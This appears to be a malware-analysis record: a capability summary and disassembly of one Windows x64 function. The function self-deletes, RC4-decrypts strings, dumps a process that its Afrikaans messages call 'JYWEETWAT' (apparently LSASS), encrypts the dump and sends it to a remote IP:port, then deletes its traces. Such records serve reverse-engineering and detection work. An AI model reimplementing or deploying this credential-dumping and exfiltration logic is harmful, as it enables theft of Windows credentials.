Function at 0x140001bc0
Capabilities:
Convert ip address from string
Delete file
Encrypt data using rc4 via systemfunction032
Get common file path
Get file size
Link many functions at runtime
Read file on windows
Resume thread
Terminate process
Write file on windows

Disassembly:
mov qword ss:[rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1610]
mov eax, 0x1710
call fcn.140003670
sub rsp, rax
mov r14, rdx
mov r15d, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor esi, esi
mov rbx, rax
test rax, rax
je 0x140001d46
xor edx, edx
lea rcx, [rbp + 0x600]
mov r8d, 0x410
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x1660], 1
lea rdx, [rbp + 0x600]
movabs rax, 0x54004c0041003a
mov dword [rbx + 0x10], 8
mov r8d, 0x208
mov qword [rbx + 0x14], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
nop dword [rax]
test eax, eax
je 0x140001d46
mov qword [rsp + 0x30], rsi
lea r8d, [rsi + 1]
mov dword [rsp + 0x28], esi
lea rcx, [rbp + 0x600]
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0x110000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001d46
lea r9d, [rsi + 0x20]
mov r8, rbx
lea edx, [rsi + 3]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
je 0x140001d46
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], rsi
lea r8d, [rsi + 1]
mov dword [rsp + 0x28], esi
lea rcx, [rbp + 0x600]
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0x110000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001d02
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
jmp 0x140001d46
mov r9d, 1
lea r8, [rbp + 0x1660]
mov rcx, rdi
lea edx, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
nop dword [rax]
test eax, eax
jne 0x140001d46
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov r8, r14
mov qword [rbp - 0x58], rsi
mov edx, r15d
mov dword [rsp + 0x60], esi
lea rcx, [rbp + 0xb0]
mov r12d, esi
call fcn.140001080
mov ecx, 0xbb8
mov dword [rsp + 0x50], 0x20
lea r13, [0x140006158]
mov dword [rsp + 0x54], 0x20
lea r15, [0x140006140]
mov qword [rsp + 0x58], r13
movups xmm1, xmmword [rax + 0x10]
mov dword [rsp + 0x40], socket
movups xmm0, xmmword [rax]
mov dword [rsp + 0x44], socket
movups xmmword [rsp + 0x78], xmm1
mov qword [rsp + 0x48], r15
movsd xmm1, qword [rax + 0x30]
movsd qword [rbp - 0x68], xmm1
cmp dword [rbp - 0x64], esi
movups xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [rax + 0x20]
mov eax, 0x3e8
cmovne eax, ecx
lea rcx, str.Advapi32
mov dword [rbp - 0x60], eax
movups xmmword [rbp - 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call rax
lea rcx, str.NTDLL.DLL
mov dword ds:[rbp + 0x1660], esi
mov dword [rbp + 0x1668], esi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x140004698]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x140001eb4
xor edx, edx
lea r9, [rbp + 0x1660]
xor r8d, r8d
lea ecx, [rdx + 5]
call rdi
mov ebx, dword [rbp + 0x1660]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140001eb4
mov r8d, dword [rbp + 0x1660]
lea r9, [rbp + 0x1668]
mov rdx, rax
mov ecx, 5
mov r14, rax
call rdi
test eax, eax
je 0x140001ed6
nop
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x1750]
add rsp, 0x1710
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
cmp word [rbx + 0x38], si
je 0x140001f08
mov rax, qword [rbx + 0x40]
mov r8, r15
sub r8, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001f04
add rax, 2
test ecx, ecx
jne 0x140001ef0
test edx, edx
je 0x140001f13
mov eax, dword [rbx]
test eax, eax
je 0x140001f17
add rbx, rax
jmp 0x140001ed6
mov r12d, dword [rbx + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r12d, r12d
je 0x140001eb4
lea rdx, ds:[rbp + 0x3f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x140001eb4
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rcx, ds:[rbp - 0x48]
mov qword [rbp - 0x48], rax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
lea r8, str.debug_file_process_info__Y_m_d__H_M_S.dmp
mov edx, 0x100
mov r9, rax
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_wcsftime]
lea rbx, [0x14006dd18]
mov dword ds:[rsp + 0x50], 0x20
lea rcx, str.Advapi32
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x54], 0x20
mov qword [rsp + 0x58], r13
mov dword [rsp + 0x40], 0x1a
mov dword [rsp + 0x44], 0x1a
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call rax
lea rax, [0x140006040]
mov dword ds:[rsp + 0x50], 0x20
lea rcx, str.Advapi32
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x54], 0x20
mov qword [rsp + 0x58], r13
mov dword [rsp + 0x40], 0xfa
mov dword [rsp + 0x44], 0xfa
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call rax
mov r15, qword [rsp + 0x78]
lea r8, str._s__s__d__o__s
mov r13, qword [rsp + 0x68]
lea rcx, [rbp + 0xf0]
mov qword [rsp + 0x30], r15
mov r9, r13
mov dword [rsp + 0x28], r12d
mov edx, 0x100
mov qword [rsp + 0x20], rbx
call fcn.140001010
lea r9, [rbp + 0xf0]
mov edx, 0x200
lea r8, [0x140004538]
lea rcx, [rbp + 0xa10]
call fcn.140001b60
mov r12, 0xffffffffffffffff
mov rbx, r12
nop
inc rbx
cmp byte [rbx + r13], sil
jne 0x1400020a0
lea r14, [rbx + rbx]
lea rcx, [r14 + 2]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400020c7
mov rdi, rsi
jmp 0x140002196
mov rcx, rsi
test rbx, rbx
je 0x140002191
cmp rbx, 0x20
jb 0x140002180
lea rdx, [rax - 2]
lea rax, [r13 - 1]
add rax, rbx
lea rdx, [rdx + rbx*2]
cmp rdi, rax
ja 0x1400020fa
cmp rdx, r13
jae 0x140002180
mov r8, rbx
and r8, 0xffffffffffffffe0
lea rax, [r13 + 0x10]
lea rdx, [rdi + 0x20]
nop dword [rax]
movq xmm0, qword [rax - 0x10]
lea rdx, [rdx + 0x40]
movq xmm1, qword [rax - 8]
lea rax, [rax + 0x20]
punpcklbw xmm0, xmm0
add rcx, 0x20
punpcklbw xmm1, xmm1
psraw xmm0, 8
psraw xmm1, 8
movdqu xmmword [rdx - 0x60], xmm0
movq xmm0, qword [rax - 0x20]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [rdx - 0x50], xmm1
movq xmm1, qword [rax - 0x18]
punpcklbw xmm1, xmm1
psraw xmm1, 8
movdqu xmmword [rdx - 0x40], xmm0
movdqu xmmword [rdx - 0x30], xmm1
cmp rcx, r8
jb 0x140002110
cmp rcx, rbx
jae 0x140002191
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx + r13]
mov word [rdi + rcx*2], ax
inc rcx
cmp rcx, rbx
jb 0x140002180
mov word [rdi + r14], si
lea rax, [rbp + 0x1f0]
mov r9, rdi
mov qword [rsp + 0x30], rax
lea r8, str._ls__ls__ls_ls
lea rax, [rbp + 0x3f0]
mov edx, 0x400
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0xe10]
lea rax, [0x140006040]
mov qword [rsp + 0x20], rax
call fcn.140001b60
lea rax, [rbp + 0xe10]
mov rcx, r12
nop
inc rcx
cmp word [rax + rcx*2], si
jne 0x1400021e0
lea rdx, [rbp + 0xa10]
mov rax, r12
inc rax
cmp word [rdx + rax*2], si
jne 0x1400021f3
nop dword [rax]
cmp rax, rcx
ja 0x14000292a
lea rcx, str._i__Gooi_JYWEETWAT_met_prosgooi..._n
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x40], rsi
mov dword [rbp + 0x1660], esi
call fcn.140001860
lea rdx, [0x1400044bc]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
jne 0x140002248
nop dword [rax]
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140002280
mov r9, rbx
lea rcx, [0x140006180]
mov edx, 1
mov r8d, 0x67b98
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, 0x67b98
je 0x140002274
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
nop dword [rax]
inc r12
cmp word [rdi + r12*2], si
jne 0x140002280
mov r14d, dword [rbp - 0x6c]
add r12d, r12d
lea rax, [rsp + 0x40]
mov r8d, r12d
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1660]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0xe10]
lea rdx, [rbp + 0xe10]
test r14d, r14d
jne 0x1400022ce
lea rdx, [rbp + 0xa10]
call fcn.140001520
test eax, eax
je 0x14000292a
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, esi
nop dword [rax + rax]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002366
mov ecx, 6
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14000235b
xor ecx, ecx
mov qword [rsp + 0x20], rsi
mov dword [rax], ecx
lea r9, [rbp - 0x50]
mov word [rax + 4], cx
mov rdx, rax
lea r8d, [rcx + 6]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140002372
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, 0x186a0
jl 0x1400022f0
jmp 0x14000237b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax + rax]
cmp edi, 0x186a0
jne 0x14000243f
lea rcx, str.____Kon_nie_JYWEETWAT_kry_nie_n
call fcn.140001860
lea rdx, [rbp + 0x1668]
mov dword [rbp + 0x1668], esi
call fcn.1400029a0
mov r15, rax
test rax, rax
je 0x14000241d
mov ecx, dword [rbp + 0x1668]
cmp ecx, 1
jb 0x140002414
mov rdi, rax
mov r14d, ecx
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [rdi]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x140002406
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x1400023f9
cmp eax, 1
ja 0x1400023e6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
sub r14, 1
jne 0x1400023d0
mov r14d, dword [rbp - 0x6c]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r15, qword [rsp + 0x78]
test r14d, r14d
jne 0x14000292a
mov eax, dword [rsp + 0x60]
cmp eax, 3
jge 0x14000243f
inc eax
mov dword [rsp + 0x60], eax
jmp 0x140002291
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, r15
mov dword [rbp + 0x1660], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x140002918
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, edi
xor edx, edx
mov rcx, rax
mov qword [rbp - 0x58], rax
mov r12, rax
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp + 0x1660]
mov qword [rsp + 0x20], rsi
mov r8d, edi
mov rdx, r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r14d, dword [rbp + 0x1660]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax + rax]
test r12, r12
je 0x140002918
test r14d, r14d
je 0x140002918
mov ebx, esi
lea rdi, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx ecx, al
inc ebx
mov eax, 0x80808081
lea rdi, [rdi + 1]
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
mov byte [rdi - 1], cl
cmp ebx, 0x40
jb 0x1400024f8
movups xmm0, xmmword [rbp + 0x20]
lea rax, [rbp + 0x20]
movups xmm1, xmmword [rbp + 0x30]
lea rcx, str.Advapi32
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [rbp + 0x40]
movups xmmword [rbp - 0x10], xmm1
movups xmm1, xmmword [rbp + 0x50]
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm1
mov dword [rsp + 0x50], 0x40
mov dword [rsp + 0x54], 0x40
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x44], r14d
mov qword [rsp + 0x48], r12
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call rax
mov r15, qword ds:[rsp + 0x78]
test eax, eax
jne 0x14000292a
lea rdx, [0x1400044c0]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x1400025cf
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, esi
nop dword [rax]
nop word [rax + rax]
lea rdx, [0x1400044c0]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x14000260b
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14000261d
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x14
jl 0x1400025e0
nop dword [rax]
cmp dword [rbp - 0x78], esi
je 0x1400026bf
mov rdi, r14
lea rdx, [0x1400044bc]
mov r14, qword [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
jne 0x140002656
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000267e
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, rdi
je 0x140002675
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, str._i__Key:
call fcn.140001860
nop word [rax + rax]
movzx edx, byte ds:[rbp + rsi + 0x20]
lea rcx, str._02x
call fcn.140001860
inc rsi
cmp rsi, 0x40
jb 0x140002690
lea rcx, [0x14000449c]
call fcn.140001860
jmp 0x14000289d
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov rbx, rax
test rax, rax
je 0x1400028ee
mov edx, 0x3a
mov rcx, rax
call qword [sym.imp.VCRUNTIME140.dll_strchr]
mov rdi, rax
test rax, rax
je 0x1400028e5
mov r8d, send
mov byte [rax], sil
mov rdx, rbx
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea rcx, [rdi + 1]
mov byte [rsp + 0x4f], sil
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
lea r8, [rbp + 0x1668]
mov ecx, 2
lea rdx, [rsp + 0x40]
movsxd rdi, eax
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x1400028e5
mov ecx, dword [rbp + 0x1668]
call qword [sym.imp.WS2_32.dll_ntohl]
mov r8d, eax
mov rcx, rbx
shl r8, 0x10
or r8, rdi
mov qword [rsp + 0x50], r8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rax, [rsp + 0x50]
mov dword [rbp - 0x40], 8
mov qword [rbp - 0x38], rax
lea rcx, str.Advapi32
lea rax, [rbp - 0x20]
mov dword [rbp - 0x3c], 8
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x30], 0x40
mov dword [rbp - 0x2c], 0x40
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x30]
call rax
test eax, eax
jne 0x14000292a
movups xmm0, xmmword [rbp - 0x20]
mov ebx, esi
movups xmm1, xmmword [rbp - 0x10]
movups xmmword [rbp + 0x61], xmm0
mov byte [rbp + 0x60], 1
movups xmm0, xmmword [rbp]
movups xmmword [rbp + 0x71], xmm1
movups xmm1, xmmword [rbp + 0x10]
movups xmmword [rbp + 0x81], xmm0
movups xmmword [rbp + 0x91], xmm1
nop word [rax + rax]
mov r9d, 0x41
lea r8, [rbp + 0x60]
mov edx, edi
lea rcx, [rsp + 0x40]
call fcn.140001a20
test eax, eax
jne 0x14000283b
lea rcx, str._i__Probeer_weer..._n
call fcn.140001860
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 3
jl 0x1400027f0
jne 0x14000283b
lea rcx, str.____Kon_nie_sleutel_stuur_nie__stoor_plaaslik._n
jmp 0x1400028f5
mov ecx, dword ds:[rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, esi
nop dword [rax + rax]
mov r9d, r14d
lea rcx, [rsp + 0x40]
mov r8, r12
mov edx, edi
call fcn.140001a20
test eax, eax
jne 0x140002898
lea rcx, str._i__Probber_weer..._n
call fcn.140001860
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 3
jl 0x140002850
jne 0x140002898
lea rcx, str.____Kon_nie_stuur_nie__stoor_plaaslik._n
jmp 0x1400028f5
mov r14, qword [rsp + 0x70]
nop dword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.___Klaar__n_n
call fcn.140001860
xor eax, eax
jmp 0x140001ebb
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.____Kon_nie_adresse_lees_nie__skryf_plaaslik._n
call fcn.140001860
mov rdi, qword [rsp + 0x70]
mov rdx, r14
mov r8, rdi
mov rcx, r12
call fcn.140001920
lea rcx, [rbp + 0x20]
call fcn.1400018c0
jmp 0x14000292f
lea rcx, str.____Kon_nie_JYWEETWAT_lees_nie
nop
call fcn.140001860
mov r15, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x70]
mov rcx, r15
call fcn.1400019c0
mov rcx, r13
call fcn.1400019c0
nop
test eax, eax
jne 0x140002954
lea ecx, [rax + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x14
jl 0x140002937
mov rbx, qword [rbp - 0x58]
test rbx, rbx
je 0x140002974
nop dword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3